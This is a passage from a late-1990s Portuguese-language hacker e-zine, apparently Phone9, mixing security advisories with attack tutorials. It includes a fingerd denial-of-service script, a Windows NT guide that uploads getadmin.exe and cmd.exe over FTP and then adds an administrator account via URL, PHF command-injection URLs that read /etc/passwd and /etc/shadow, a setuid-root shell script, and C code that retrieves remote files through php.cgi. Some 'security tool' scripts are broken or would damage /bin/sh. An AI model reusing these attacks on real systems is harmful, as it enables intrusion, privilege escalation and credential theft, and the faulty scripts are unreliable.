prespectiva do BO no seu sistema, deletando o servidor do seu sistema ja' alivia e muito o risco de invasao na sua maqui na. Primeiro, va no diretorio c:\windows\systems, e delete o arquivo .exe ( .exe `espaco .exe`, provavelmente o primeiro arquivo do diretorio ), Depois para eliminar qualquer chance de resulreicao do Back Orifice, voce pega o regedit.exe (c:\windows\regedit.exe) e entra na seguinte chave de registro: HKEY_LOCAL_MACHINE\SOFTWARE\Windows\CurrentVersion\RunServices, e apague o valor .exe de um dos registros daquela chave. Delete todos os arquivos do BO, e nao execute nunca mais nenhum dos programas que o BO utiliza. Formate o HD se possivel... ;) 06: Procurando pela instalacoa default Edite o arquivo .exe com um edit.com ou notepad.exe mesmo, e veja se as ultimas linhas do programa sao assim: 8 8$8(8,8084888<8@8D8H8L8P8T8X8\8'8d8h8l8. Caso sejam, a instalacao na sua maquina foi default ou seja o BO, esta configurado assim: -- Porta de ataque: 31337 Protocolo: UDP Nome do servidor: .exe Nome do dll do servidor: windll.dll Chave de registro: HKEY_LOCAL_MACHINE\....\CurrentVersion\RunServices valor do registro: .exe -- Do contrario as ultimas linhas do servidor seriam varias linhas incluindo informacoes do tipo: -- -- 07: Medidas de seguranca quanto a redes Se voce tem um sistema windowsNT, entao e' bom voce adotar uma politica de seguranca quanto ao Back Orifice, pois o controle sobre um usuario no seu sistema pode ser devastador, visto que varios bugs em sistemas NT podem ser executados localmente e nao remotamente, por isso dar um hostdeny em hosts onde e' possivel se baixar o Bo, seria algo esperto para se fazer. Procure sempre visitar os diretorios dos seus usuario a procura de BOs neles. Depois, adapte a seguranca do seu sistema para nao permitir conexoes na porta 31337... E nunca pense em rodar o BO na sua rede, somente em maquinas locais. 08: Betascan Um programa que scaneia o seu sistema e procura do Bo, foi lancado, e esta a disposicao de download em: http://www.phone9.org/html/labs/tools/betascan.zip Este programa simplesmente procura pela existencia do servidor (.exe), pela entrada no registro e depois, pesquisas as rotinas do windll.dll, a procuras de novas inclusoes feitas pelo BO. 09: Conclusao O Back Orifice em uma visao geral, nao explora nenhum bug, nao faz nenhum tipo de nova tecnica hacker e muito menos pode colocar em risco a seguranca dos sistema windowsNT,98,95, pois o BO, so e' considerado perigoso uma vez que o dono do computador prefere executa-lo. Nao existe nenhum modo de ser invadido pelo BO, sem que voce tenha alguma vez na sua vida executado o BO, ou entao tenha sido alvo de bugs como o MSOutlook'98, e outros, ai e' cada um pela sua CPU... 10: Phone9 Sekurity Advisory Pagina da Phone9: http://www.phone9.org ........................... Phone9 Sekurity Advisory Systems: http://www.phone9.org/html/advisory/ ........................... e-mail: advisory@phone9.org ........................... sekurity-br: sekuriy-br-owner@phone9.org ........................... autor: bloodroot mail: blood@phone9.org ........................... Back Orifice v1.2: http://www.phone9.org/html/labs/tools/b012.zip Back Orifice (linux): http://www.phone9.org/html/labs/tools/b012linux.zip [1] Phone9.org, mirror oficial do BO no brasil. ........................... contact: [.blood@phone9.org]|[.advisory@phone9.org.] The Phone9 Communications Systems,Inc. [P9] ------------------------------------------------------------------ [P9] .[The Phone9 Communications Systems (c) 1997-1998 productions]. .[Sekurity advisory]. .[09/08/98 - P9]. .[Lotus webserver bug - by The bloodroot]. Contents: ''''''''' 01: Sumario 02: O bug 03: Checando vulnerabilidade do seu sistema 04: Possiveis solucoes 05: Conclusao 06: Phone9 Sekurity Advisory 01: Sumario O servidor lotus notes, da empresa domino, possui um serio bug que pode comprometer a seguranca do sistema inteiro. A versao vulneravel 4.6 e versoes maiores, o bug se aplica a empresas que usam o lotus para gerenciamento de intranets e desenvolvimento de redes. Os sitema lotus que nao esta rodando o HTTPD padrao do lotus esta vulneravel a falha. O impacto no sistema e' o seguinte, qualquer usuario pode acessar e criar arquivos distintos do sistema, levando a baixo todo o sistema de seguranca do sistema. 02: O bug Para executar o bug, primeiro e' necessario que voce tenha o software cliente, uma vez tendo isto em maos, voce ja pode exploitar o bug... Do client 4.6 do lotus: 1. Abra qualquer database (endereco... rodando lotus server!!!) 2. Clique em Actions -> E veja no seu web browser Depois entre no seu web browser (lynx? netscape? internet exploder?) e se conecte em http://xxx.xxx.xx.xxx/phone9 (onde `phone9` e a database) Mesmo que voce so tenha o client, agora o servidor lotus esta rodando na porta 80, entao qualquer pessoa na internet pode acessar http://xxx.xxx.xx.xxx/ e ver todos os arquivos do sistema em que roda o Lotus. Ou ate' mesmo visualizar qualquer arquivo: http://xxx.xxx.xx.xxx/passw0rd/?open e voce vera o arquivo passw0rd... 03: Checando por vulnerabilidade Se voce tem o lotus server, apenas rode o sistema HTTPD com o servidor que vem com o lotus, pois este ja' vem patcheado contra o seguinte bug. O seu sistema somente e' vulneravel se voce alguma vez rodar o servidor HTTPD de outra `marca` no servidor, sendo esta nao patcheado entao a vulnerabilidade e' existente. 04: Possiveis solucoes - Deshabilite a opcao HTTP no seu servidor. - So permite que IPs da sua rede acessem os arquivos do seu sistema. - Nao permita que servidores sejam rodados sozinhos , somente utilize os clientes. - Mude a permissao dos arquivos para algo que nao seja lido por todos. 05: Conclusao O Lotus Notes 4.6 e' um servidor para intranets e pode ser um risco serio, a atividade deste bug no seu sistema, por isso procure rodar o httpd server do lotus para evitar qualquer problemas eventuais. 06: Phone9 Sekurity Advisory ........................... Pagina da Phone9: http://www.phone9.org ........................... Phone9 Sekurity Advisory Systems: http://www.phone9.org/html/advisory/ ........................... e-mail: advisory@phone9.org ........................... sekurity-br: sekuriy-br-owner@phone9.org ........................... autor: bloodroot mail: blood@phone9.org ........................... contact: [.blood@phone9.org]|[.advisory@phone9.org.] The Phone9 Communications Systems,Inc. [P9] ------------------------------------------------------------------ [P9] .[The Phone9 Communications Systems (c) 1997-1998 productions]. .[Sekurity advisory]. .[15/08/98 - P9]. .[Opera browser crash - by The bloodroot]. Contents: ''''''''' 01: Sumario 02: Comprometimento 03: O bug 04: Conclusao 05: Phone9 Sekurity Advisory 01: Sumario Opera, um novo browser que esta no mercado (http://opera.nta.no), mostrou que tem certas falhas no seu controle de erro de enderecos, se uma pessoa colocar extra caracteres no final de um endereco existente... E' possivel fazer com que o opera entre em pane e feche. Este bug parece afetar apenas o browser opera versao 3.6+, testado no Netscape (versoes 2.0,3.0,3.1,4.0) e no MSIE 4.0 o bug nao e' existente... 02: Compromentimento Para a sua rede, ou conexao na internet nada demais ira acontecer, a unica coisas chata que acontece, e' que o browser fecha repentinamente se voce acidentalmente (ou propositalmente), executa-lo. E' apenas uma falha no processamente de erro do opera!!! ;) 03: O bug Voces devem estar se perguntando que tipo de bug, e' capaz de crashar o Opera, o mais estupido o possivel ;) Se voce acrescentar uma barra a mais em qualquer conexao via http o browser entra em crash, ou seja, e' assim: Uma conexa http, utiliza no final da especificacao http, duas barras exemplo: http:// O Opera , parece nao trata com esta margem de erro e por isso causa o bug no seu browser. Para testar o bug no seu broser apenas digite: http:///www.endereco.com.br #--> Nao se esqueca que o bug so e' executado #Se forem acescentadas /// (3) barras no final #do http:!!! Obs: FTP://, GOPHER://, nao parecem ser vulneraveis em nenhum tipo de ataque do genero. 04: Conclusao A resposta da opera quanto ao bug e' o release de um patch para este bug em menos de uma semana quanto ao que eles disseram... Nao e' nada demais, este bug nao compromete nenhuma seguranca do seu sistema, ele somente e' pe-no-saco quando acontece. 05: Phone9 Sekurity Advisory Pagina da Phone9: http://www.phone9.org ........................... Phone9 Sekurity Advisory Systems: http://www.phone9.org/html/advisory/ ........................... e-mail: advisory@phone9.org ........................... sekurity-br: sekuriy-br-owner@phone9.org ........................... autor: bloodroot mail: blood@phone9.org ........................... Pagina Oficial do Opera: http://opera.nta.no ........................... contact: [.blood@phone9.org]|[.advisory@phone9.org.] The Phone9 Communications Systems,Inc. [P9] ------------------------------------------------------------------ [P9] .[The Phone9 Communications Systems (c) 1997-1998 productions]. .[Sekurity advisory]. .[15/08/98 - P9]. .[Solaris Finger 2.5 bug - by The bloodroot]. Contents: ''''''''' 01: Sumario 02: Comprometimento 03: O bug 04: Script, faca o meu trabalho 05: Conclusao 06: Phone9 Sekurity Advisory 01: Sumario O componente TCP de rede, finger e seu daemon fingerd , na versao 2.5.1 e 2.6 parecem ser vulneraveis a seria de ataques DoS originados por sequencias de comandos causando um grande consumo da CPU time, e consequentemente deixando sistema alerdado ou ate' fechando. 02: Comprometimento Nao envolve nenhum tipo de falha de seguranca, somente faz com que o sistema fique vulneravel a ataques DoS, devido a grande margem de comandos atribuidos ao fingerd. So afeta maquinas solaris, rodando a versao do daemon de finger (fingerd) 2.5.1 e 2.6. 03: O bug Apenas, faca isto: fuck:/root/> finger @host@host@host@host@host@host .... 25 vezes!!! ou entao: fuck:/root/> finger @hosta@hostb --> Onde hostb e' a maquina que esta rodando fingerd bugado... 04: Script, faca o meu trabalho esta e' bem simples... Rode este script para executar o bug, e' melhor do que digitar 145 vezes @host!!! hehehehe ;) -- #!/bin/sh # #Finger bug hostb= #Host que roda fingerd 2.5.1, ou 2.6 145host= #cat /tmp/145fing!!! finger= #local onde roda o finger # fingando??? clear echo "--[ Figerd bug 2.5.1 & 2.6 ]--" echo "by bloodroot" echo "blood@phone9.org" echo echo "Finger MENU" echo "1:. 145 @host bug" echo "2:. hostb attack" echo echo "Escolha uma opcao" read $chc case $chc in 1) goto 1 ;; 2) goto 2 ;; esac 1: echo "145 @host bug" echo "-- Aguarde --" echo $finger $145host 2: echo "hostb attack" echo "Qual host voce deseja atacar?" reap fckhst finger @127.0.0.1@$fckhst -- E o 145fing esta abaixo: -- @host@host@host@host@host@host@host@host@host@host@host@host@host@host@host @host@host@host@host@host@host@host@host@host@host@host@host@host@host@host @host@host@host@host@host@host@host@host@host@host@host@host@host@host@host @host@host@host@host@host@host@host@host@host@host@host@host@host@host@host @host@host@host@host@host@host@host@host@host@host@host@host@host@host@host @host@host@host@host@host@host@host@host@host@host@host@host@host@host@host @host@host@host@host@host@host@host@host@host@host@host@host@host@host@host @host@host@host@host@host@host@host@host@host@host@host@host@host@host@host @host@host@host@host@host@host@host@host@host@host@host@host@host@host@host @host@host@host@host@host@host@host@host@host@host -- 05: Conclusao Ate' o momento a sun ainda nao lancou nenhum patch para este bug... mas nao e' por falta de espera??? Somente as versoes do fingerd do solaris que e' vulneravel, outras nao sao!!! (eu testei as do linux slack, e redhat e nada de bug nelas!!!;)) 06: Phone9 Sekurity Advisory Pagina da Phone9: http://www.phone9.org ........................... Phone9 Sekurity Advisory Systems: http://www.phone9.org/html/advisory/ ........................... e-mail: advisory@phone9.org ........................... sekurity-br: sekuriy-br-owner@phone9.org ........................... autor: bloodroot mail: blood@phone9.org ........................... solfingerbug [script]: http://www.phone9.org/html/labs/tools/solfinger.zip ........................... contact: [.blood@phone9.org]|[.advisory@phone9.org.] The Phone9 Communications Systems,Inc. [P9] ------------------------------------------------------------------ [P9] Todas as advisories aqui dispostas podem ser utilizadas como base para outros documentos, contanto que os devidos creditos sejam dados aos autores das advisories existentes... contact: [.phone9@phone9.org.]|[.advisory@phone9.org.] The Phone9 Communications Systems, Inc. ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ 14 - Crackeando sistema No Trust ³°° ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ by X-ploiter ³°° ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ°° Windows NT crack guide ------- -- ----- ----- "easy hack com getadmin.exe, cmd.exe e gasys.dll" by X-ploiter Eh uma tecnica bem simples q eu resolvi descrever nesta edicao, conforme as edicoes forem passando, eu vou explicando mais e mais tecnicas de ataques em NT. 1. c:\ftp www.xploiter.com.br 220 saturn Microsoft FTP server (version 3.0) User(www.xploiter.com.br(none)): O q isto quer dizer? Q o nome do servidor Netbios eh SATURN. Por meio deste nome, ele pode deduzir o account anonymous do NT, q permite a navegacao em servicos gratis como FTP,WWW,GOPHER. Caso o admin seja um tanto burro, ele nao mudou o nome da conta, entao a conta deve ficar assim: IUSR_SATURN. Entao ele pensa e entra anonymous como user e aparece o seguinte: 330 Anonymous acess allowed, send identity (e-mail adress) as password. password: Entao voce digita o seu mail , e se loga no sistema, parece bem simples ateh agora, o mesmo processo q em sistema unix, entao voce digita "cd /c", para tentar acessar o diretorio / do servidor. Depois de viajar pelo FTP, ele percebe q o comando "PUT" eh permitido neste computador, entao voce procura o diretorio "cgi-bin", um otimo lugar para se executar coisas via www. Entao voce muda o tipo de conexao para binaria (binary), e depois tente "put cmd.exe", caso voce tenha sorte voce vera algo assim: 200 PORT command successfull 150 Opening binary mode data connection for CMD.EXE 226 Transfer complete 208144 bytes sent in 0.06 seconds (3469.07 Kbytes/sec) Depois ele tbm coloca os arquivos "getadmin.exe" e "gasys.dll" no cgi-bin, entao ele sai da conexao FTP do servidor e inicializa o seu brownser. Entao ele vai para o endereco: www.xploiter.com.br/cgi-bin/getadmin.exe?IUSR_SATURN Depois de um tempo ira aparecer no brownser: CGI ERROR The specified CGI application misbehaved by not returning a complete set of HTTP headers. The headers it did return are: Congratulations , now account IUSR_SATURN have administrator rights! Pronto, agora a account IUSR_SATURN estah em status admin, quer mais moleza, ou oq? Para criar uma conta faca o seguinte: http://www.xploiter.com.br/cgi-bin/comd.exe?c%20c:\winnt\system32\net.exe% 20user%20xploiter%20x-p9%20/add PS: nao pule a linha, eh tudo um comando soh... Entao voce acabou de crair uma conta chamada xploiter com uma senha chama x-p9. Pronto, os resultados: Conseguiu admin no sistema criou umas contas fantasma e descobriu q a microsoft soh faz sistema de merda... Os arquivos getadmin.exe , gasys.dll e cmd.exe estao em: http://www.phone9.org/html/labs/tools/nthck.zip [1] e em qualquer um dos nossos mirros... (c) 1998, X-ploiter, inc. ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ 14 - Sekurity tools!!! ³°° ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ by the crew ³°° ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ°° Em todas as edicoes da Phone9 a partir desta, nos tentaremos a medida do possivel, trazer novas ferramentas de seguranca para o seu sistema, assim nos poderemos manter os aR00tos um pouco por dentro da profissao que eles executam... 1) k0mandos seguros para linux: -------- ------- ---- ------ a.) Vendo as portas abertas do seu sistema - by bloodroot Na cheu digite: /usr/local/bin/strobe -V -d -b 1 -e 12000 -n 32 -t4 localhost b.) Achando contas com .rhosts - by bloodroot Tambem na cheu digite: find / -name .rhosts -exec ls -al {} \; c.) Catando usuarios sem password - by bi0tek Modo 1.) cut -f1,2,3 -d: /etc/shadow | grep :: | cut -f1 -d: Modo 2.) grep '::' /etc/passwd d.) Vendo o log dos 10 ultimos reboots - by bi0tek last -100 | grep reboot | head -10 Obs: Mude o 'head -10' para o numero de reboots logados que voce quer ver. 2.) Procurando por UIDs:0 e GIDs:0 - by bi0h4zard #!/bin/sh # Smack my bitch UP!!! # if [ `grep -c '^.*:.*:0:' /etc/passwd 2>/dev/null` -gt 1 ]; then echo "Opa!, o root agora tem irmaos !!!" grep '^.*:.*:0:' /etc/passwd | grep -v "^root:" exit 1 fi exit 0 3.) Fechando terminais impedindo conexao de estranhos - Nelson Murilo #!/bin/sh # Bloqueia o terminal ate que seja informada # a mesma senha que o tornou bloqueado # # PATH=/bin:/usr/bin; export PATH stty -echo cad= while [ "$cad" = "" ]; do /bin/echo "Senha: \c" read cad < /dev/tty done trap "" 2 3 15 cat <> $cmd echo "echo Usuario que executou: `whoami` >> log" >> $cmd if [whoami != root] then echo "" echo "Possivelmente possa ter ocorrido uma falha de seguranca" >> $log echo "Verifique poor bugs no seu sistema...." >> $log echo "" fi echo "echo Data de execucao: `date` >> $log" >> $cmd echo "echo Sistema Operacional: `uname -sr` >> $log" >> $cmd echo "echo Hostname: `last | grep $whoami` >> $log" >> $cmd echo "echo >> $log" >> $cmd echo "$safedir" >> $cmd 5.) Guest phucker - by Primal Phear Primeiro, edite o /etc/passwd e coloque uma linha assim: guest::69:69:guest user:/home/guest/:/bin/guestshell E o guestshell e' assim: #!/bin/sh # Simples fuckin' around telnet localhost 19 E vamos saudar o hackerzao... 6.) ls seguro - by bloodroot coloque este ls no lugar do /bin/ls e coloque o verdadeiro ls em outro lugar. #!/bin/sh lsnew= # novo lugar do ls mv /bin/ls $lsnew echo "if [whoami != root]" >> /bin/sh echo "then" >> /bin/sh echo " $lsnew -a" >> /bin/sh echo "else" >> /bin/sh echo " $lsnew" >> /bin/sh echo "fi" >> /bin/sh Agora qualquer um cujo o whoami seja igual a root, automaticamente ira executar o ls em modo ls -a, vendo todo o conteudo do diretorio, inclusive arquivos .algumacoisa, em geral todos os arquivos de um diretorio qualquer do qual o root de um ls, e quanto aos outros, bom um simples ls ta' otimo... ;) O que tambem impede a execucao do ls backdoor. Isto conclui as ferramentas de seguranca desta edicao, acredito que o pessoal vai ter muito o que testar nas sua LinuxOS por ai, entao vou indo embora. Hugs() Sekurity Tools!!! foi criado por todos os membros da Phone9. (c) reg - 2001 productions, .[P9]. ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ 15 - Exploitacao por meio de CGIs - Parte I ³°° ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ by bloodroot ³°° ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ°° The CGI guide to Exploitation by the blood root (c) The Misery Machine 1.) Introducao 2.) PHF bug 3.) PHP bug 4.) Sanitize protection 5.) Test-cgi 6.) count.cgi exploit 7.) Server gateway cgi atack 8.) Parte II 1.) Introducao O Common Gateway Interface ( cgi ), nada mais e' do que pequenos programas compilados em varias linguagens existentes no mundo da programacao, podendo ser aplicado sobre varios tipos de gateway e proxys na rede, mas o seu uso mais comum e' em paginas da web ( http ), as linguagens mais comuns utilizadas para se programar em cgi's e' perl, ams existem outras linguagens: Perl, C , Cshell , VBscript, Java. Embora o java , ainda nao seja uma linguagem para cgi's alguns modulos podem ser feitos por meio de java. CGI's sao usados para facilitar a comunicacao user x server, sempre deixando uma barreira de chmod's , logs e avisos para o admin, mas nem sempre foi assim ( na verdade, eu acho q nunca foi assim ), o caso e' que o cgi, e' um programa que e' rodado no console ( shell ) do sistema, sobre o user ou de anonymous, ou de um usuario cgi, que so devera ter acesso ate' o /cgi-bin, seja como for, ter acesso a uma shell, por meio de um brownser, concerteza deve ter algum provei- to para nos, entao a pouco mais de uns 4 ou 5 anos, foi descoberto uma das primeiras vulnerabilidades em um cgi. O nome do cgi era phf.cgi, ou phf.pl ( tanto faz ), o que colocou em prova a teoria sobre a seguranca dos servidores. Veja o caso. 2.) PHF bug... Em muitos servidores apache, no diretorio cgi-bin, ainda existe um programa chamada PHF, que foi um dos primeiros grandes bugs a serem descobertos no apache, que pode ser exploitado por meio de browser, lynx,netscape,NCSA,hacknet,Opera entre outros, o problema todo esta em sua configuracao de propriedades assim chmod +x /home/http/cgi-bin/ phf.cgi, tornando-o um arquivo executavel, e dependendo de quem colocou esta configuracao, voce pode rodar o arquivo como sendo root, ou ate' o user que roda o servidor ( http ), otimo geralmente scripts\ como PHF, rodando como user nobody, fazedo com que cada processo seja rodado por um usuario que nao tenha tanta importancia no sistema, algo como NINGUEM!!! ;) bom, agora que voce ja' sabe o inicio, vamos rodar o script PHF, para ver se ele e' ou nao exploitavel ( checando as IDs do dono do processo PHF no sistema ) http://jackass.com.br/cgi-bin/phf/?Qalias=x%0aid Como resultado, ira aparecer algo assim: QUERY RESULTS /usr/local/bin/ph -m alias=x id uid=65534(nobody) gid=65535(nogroup) groups=65535(nogroup) Sendo , assim nos podemos ser o user nobody do sistema, sem problemas, rodando os processos do qual o user nobody tem acesso. Agora a parte nasty, vem quando voce comeca a colocar comandos mais perigoso para o sistema: http://lamer.org/cgi-bin/phf/?Qalias=x%0a/bin/cat%20/etc/passwd << Ira pegar o arquivo de passwords http://lamer.org/cgi-bin/phf/?Qalias=x%0a%0a/bin/cat%20/etc/shadow << Caso, o passwd esteja em shadow, a opcao seguinte e' esta http://lamer.org/cgi-bin/phf/?Qalias=x%0apasswd%20root << Mudando a senha do root? http://altavista.digital.com/cgi-bin/query?pg=aq&what=web&fmt=. &q=link%3A%22%2Fcgi-bin%2Fphf%22&r=&d0=&d1= << Utiliza o alta-vosta para achar servidores com o phf nele!!! Use a imaginacao, que voce sempre vai poder tirar proveito deste buggy. Algumas tecnicas para saloes UNIXseX ------------------------------------ 1- Armazem de bugs: Okay, sendo um usuario exemplar da sua escola, o operador bastardo vindo do inferno , que por sinal opera a rede de computadores UNIXseX da escola, resolve te dar uma conta com shell no sistema, para voce compilar aqueles seus programas escolares que voce use depois de ir na bugtraq. Entao, ele te da um otimo diretorio ( como sempre ) /home/sucker/ Voce como um otimo aluno, espera ate' chegar ao anoitecer e bum, se loga no sistema: Welcome to UNIXseX 2.0.0 << Kernel antiga ;) login:sucker password: No mail sucker:/home/sucker/$ Pega este lindo codigo em CS-hell que voce, um pouco mais abaixo ( agora voce deve apertar page down no teclado , perto do delete, para ver o codigo ), e agora o codigo: ------ PHlamming ------ #!/bin/csh #Sucker d00d? thanx to JackaSS #chame-o de sucking echo "Oi, tudo bem?" echo "I'm a JackASS program" touch /tmp/root echo "Lembre-se, isto nao deve machucar muito" /bin/cp /bin/sh /tmp/root echo "Faca AHHHHHHHHHHHHHHH!!!!!!" chmod 4755 /tmp/root echo "Coitado, vai ficar de cama por uns dias" /tmp/root echo "lervante ele, para ele aROOTar direito!" passwd sucker echo "Pronto, acho que ele vai ficar bem!! ;p" echo "!>DoNEpw_dir,pd,temp); } } #endif - --- 340,351 ---- pd = getenv(PHP_PUB_DIRNAME_ENV); #endif if (pd == 0) pd = PHP_PUB_DIRNAME; ! strcpy (path,pw->pw_dir); ! strcat (path,"/"); ! strncat (path, pd, ! sizeof(path) - strlen(path) - 1); ! strncat (path, temp, ! sizeof (path) - strlen(path) - 1); } } #endif *************** *** 343,352 **** o=*s; *s='\0'; } ! strcpy(user,path+2); if(s) { *s=o; ! strcpy(temp,s); } else temp[0]='\0'; #if HAVE_PWD_H if(*user) { - --- 355,366 ---- o=*s; *s='\0'; } ! strncpy(user,path+2, sizeof (user)); ! user[sizeof(user) - 1] = '\0'; if(s) { *s=o; ! strncpy(temp,s,sizeof(temp)); ! temp[sizeof(temp) - 1] = '\0'; } else temp[0]='\0'; #if HAVE_PWD_H if(*user) { *************** *** 357,363 **** pd = getenv(PHP_PUB_DIRNAME_ENV); #endif if (pd == 0) pd = PHP_PUB_DIRNAME; ! sprintf(path,"%s/%s%s",pw->pw_dir,pd,temp); } } #endif } - --- 371,383 ---- pd = getenv(PHP_PUB_DIRNAME_ENV); #endif if (pd == 0) pd = PHP_PUB_DIRNAME; ! strcpy (path,pw->pw_dir); ! strcat (path,"/"); ! strncat (path, pd, ! sizeof(path) - strlen(path) - 1); ! strncat (path, temp, ! sizeof (path) - strlen(path) - 1); ! } } #endif } *************** *** 370,376 **** } } if(*fn) { ! sprintf(temp,"%s/%s",path,fn); #ifndef WINDOWS st = stat(temp,&gsb); #else - --- 390,399 ---- } } if(*fn) { ! strncpy (temp, path, sizeof (temp)); ! temp[sizeof(temp) - 1] = '\0'; ! strcat (temp,"/"); ! strncat(temp,fn,sizeof(temp) - strlen(temp) - 1); #ifndef WINDOWS st = stat(temp,&gsb); #else *************** *** 382,394 **** st = -1; #endif if((st!=-1) && (gsb.st_mode&S_IFMT)==S_IFDIR) { ! sprintf(temp,"%s/%s/index.html",path,fn); st = stat(temp,&gsb); if(st==-1) { ! sprintf(temp,"%s/%s/index.phtml",path,fn); st = stat(temp,&gsb); } ! sprintf(path,"%s/%s",path,fn); } else if(st==-1) { l = strlen(temp); if(strlen(fn)>4) { - --- 405,431 ---- st = -1; #endif if((st!=-1) && (gsb.st_mode&S_IFMT)==S_IFDIR) { ! strncpy (temp,path,sizeof(temp)); ! temp[sizeof(temp) - 1] = '\0'; ! strcat (temp, "/"); ! strncat (temp,fn, ! sizeof(temp) - strlen (temp) - 1); ! strncat (temp,"/index.html", ! sizeof(temp) - strlen (temp) - 1); st = stat(temp,&gsb); if(st==-1) { ! strncpy (temp,path,sizeof(temp)); ! temp[sizeof(temp) - 1] = '\0'; ! strcat (temp, "/"); ! strncat (temp,fn, ! sizeof(temp) - strlen (temp) - 1); ! strncat (temp,"/index.html", ! sizeof(temp) - strlen (temp) - 1); st = stat(temp,&gsb); } ! strcat (path,"/"); ! strncat (path, fn, ! sizeof(path) - strlen(path) - 1); } else if(st==-1) { l = strlen(temp); if(strlen(fn)>4) { *************** *** 410,422 **** st = -1; #endif if((st!=-1) && (gsb.st_mode&S_IFMT)==S_IFDIR) { ! sprintf(temp,"%s/index.html",path); st = stat(temp,&gsb); if(st==-1) { ! sprintf(temp,"%s/index.phtml",path); st = stat(temp,&gsb); } ! } else strcpy(temp,path); } } else { #ifndef WINDOWS - --- 447,468 ---- st = -1; #endif if((st!=-1) && (gsb.st_mode&S_IFMT)==S_IFDIR) { ! strncpy (temp, path, sizeof (temp)); ! temp[sizeof(temp) - 1] = '\0'; ! strncat (temp, "/index.html", ! sizeof (temp) - strlen (temp) - 1); st = stat(temp,&gsb); if(st==-1) { ! strncpy (temp, path, sizeof (temp)); ! temp[sizeof(temp) - 1] = '\0'; ! strncat (temp, "/index.phtml", ! sizeof (temp) - strlen (temp) - 1); st = stat(temp,&gsb); } ! } else { ! strncpy(temp,path, sizeof (temp)); ! temp[sizeof (temp) - 1] = '\0'; ! } } } else { #ifndef WINDOWS *************** *** 430,442 **** st = -1; #endif if((st!=-1) && (gsb.st_mode&S_IFMT)==S_IFDIR) { ! sprintf(temp,"%s/index.html",fn); st = stat(temp,&gsb); if(st==-1) { ! sprintf(temp,"%s/index.phtml",fn); st = stat(temp,&gsb); } ! } else strcpy(temp,fn); } *ret=st; return(temp); - --- 476,498 ---- st = -1; #endif if((st!=-1) && (gsb.st_mode&S_IFMT)==S_IFDIR) { ! strncpy (temp, fn, sizeof (temp)); ! temp[sizeof(temp) - 1] = '\0'; ! strncat (temp, "/index.html", ! sizeof (temp) - strlen (temp) - 1); st = stat(temp,&gsb); if(st==-1) { ! strncpy (temp, fn, sizeof (temp)); ! temp[sizeof(temp) - 1] = '\0'; ! strncat (temp, "/index.phtml", ! sizeof (temp) - strlen (temp) - 1); ! st = stat(temp,&gsb); } ! } else { ! strncpy(temp,fn,sizeof (temp)); ! temp[sizeof(temp) - 1] = '\0'; ! } } *ret=st; return(temp); Para exploitar o bug, apenas digite este endereco no seu browser: ... http://www.phuck.org/cgi-bin/php.cgi? ... E ainda vai um programas, otimos que o pessoal da CodeZero ( confidence remains high ), apresentou em umas das edicoes da zine: ----[ begin second fuck1n'31337 c0d3]---- /* p1 (peewun@heterosexual.com) This code retrieves a file using php.cgi on a remote system. This program is for educational purposes only. Use it on p1.com. */ #include #include #include #include #include #include #include #include FILE *server; int sock; void do_connect(char *host, char *toget); void do_connect(char *host, char *toget) { char inbuf[1024]; struct sockaddr_in sin; struct hostent *hp; char *tmpbuf; hp = gethostbyname(host); bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length); sin.sin_family = hp->h_addrtype; sin.sin_port = htons(80); sock = socket(AF_INET, SOCK_STREAM, 0); if ( -1 < connect(sock, (struct sockaddr *) &sin, sizeof(sin)) ) { printf("Made connection to %s.\n\n", host); } else { printf("Failed to connect to %s.\n\n",host); exit(0); } server=fdopen(sock, "a+"); fprintf(server, "GET /cgi-bin/php.cgi?%s\n",toget); printf("Output from php.cgi request:\n\n"); while(1){ if (fgets(inbuf, 1024, server) == NULL) break; printf(inbuf); } } main(int argc,char **argv) { printf("\nThis program is a remote exploit system using php.cgi.\n"); printf("Author: p1 - peewun@heterosexual.com\n"); if (argc < 3) { printf("Usage: %s \n",argv[0]); printf(" Ex: %s www.p1.com /etc/passwd\n",argv[0]); } else { char *buffer; (char *)"exit"; do_connect(argv[1],argv[2]); exit(1); } } ---[ end of fuck1n' 31337 sh17 ]---- enjoÝ 4.) User-id cgi bug Uma das falhas mais recentes em servidores que rodam seus cgi's e' a execucao de comandos arbitrarios nas maquinas sobre a uid/gid do dono do processo do servidor ou do cgi. Exemplos sao php.cgi, phf.cgi, query.cgi entre outros. A maioria destes bug's sao feitos devido a as funcoes QUERY_STRINGS, do qual armazenam as strings digitadas por qualquer usuario, sendo assim comandos como %0a/bin/cat%20/etc/passwd e' possivel de ocorrer em varios e varios casos de ataques por meio de cgi's. O escriotr de cgi's conciente deste tipo de ataques, resolve retirar os meta-characteres do seu script. Levando a resultados assim: #!/usr/local/bin/perl $user_data = $ENV{'QUERY_STRING'}; # Armazena data print "$user_data\n"; $user_data =~ s/[\/ ;\[\]\<\>&\t]/_/g; # Tira caracteres print 